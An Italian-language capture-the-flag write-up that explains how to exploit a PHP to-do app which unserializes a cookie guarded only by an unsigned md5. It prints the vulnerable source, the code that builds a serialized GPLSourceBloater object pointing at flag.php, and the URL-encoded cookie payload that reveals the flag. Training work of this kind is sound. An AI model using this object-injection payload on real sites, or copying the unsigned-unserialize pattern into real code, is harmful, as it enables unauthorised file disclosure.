Andiamo al sito della challenge free.training.jinblack.it e sappiamo che lì è contenuta la challenge. Altra cosa che sappiamo è che il flag è contenuto in flag.php

Inizialmente non abbiamo il codice php ma se clicchiamo sul link “it’s super secure, see for yourself” ci riporta ad una pagina contenente il codice.

```
Class GPLSourceBloater{
    public function __toString()
    {
        return highlight_file('license.txt', true).highlight_file(
$this->source, true);
    }
}


if(isset($_GET['source'])){
    $s = new GPLSourceBloater();
    $s->source = __FILE__;

    echo $s;
    exit;
}

$todos = [];

if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);
    $m = substr($c, 32);

    if(md5($m) === $h){
        $todos = unserialize($m);
    }
}

if(isset($_POST['text'])){
    $todo = $_POST['text'];

    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);

    setcookie('todos', $h.$m);

    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}

?>
```

L'idea è quella di creare un oggetto di tipo GPLSourceBloater e di mettergli come source 'flag.php' e poi serializzarlo e poi settare la hash di questo oggetto serializzato in modo che quando lui va a fare la unserialize tutto vada bene (debolezza: la hash non è firmata quindi sfruttabile per l'attacco).
Una volta che lui andrà a fare l'unserialize avrà l'oggetto che ho creato la cui source sarà 'flag.php' e la mostrerà grazie alla funzione __toString definita inizialmente (`highlight_file($this->source, true);`)
Per fare ciò vado su
https://www.w3schools.com/php/phptryit.asp?filename=tryphp_func_var_serialize
e scrivo questo codice:

```
<!DOCTYPE html>
<html>
<body>

<?php
Class GPLSourceBloater{
    public function __toString()
    {
        return highlight_file('license.txt',
true).highlight_file($this->source, true);
    }
}
$s = new GPLSourceBloater();
$s->source = 'flag.php';
$m = serialize(array($s));
$h = md5 ($m) ;
echo $h;
echo $m;
?>

</body>
</html>
```

Da notare che ho messo prima la hash e poi la m perché è così strutturato il cookie nella pagina.
Poi runno questo codice e ottengo:

760463360e4919ca238d1566fc26661fa:1:{i:0;O:16:"GPLSourceBloater":1:{s:6:"source";s:8:"flag.php";}}

Infine prendo questa stringa e vado su un sito che faccia URL code/encode e vado a fare l'encode della stringa perché se vediamo il valore del cookie todos da ispeziona pagina ci accorgiamo che è codificato in url.
Quindi otteniamo:

760463360e4919ca238d1566fc26661fa%3A1%3A%7Bi%3A0%3BO%3A16%3A%22GPLSourceBloater%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D

Ora andiamo a mettere questo nel valore del cookie todos da ispeziona pagina e ricarichiamo la pagina: vedremo che viene mostrata una pagina con il flag.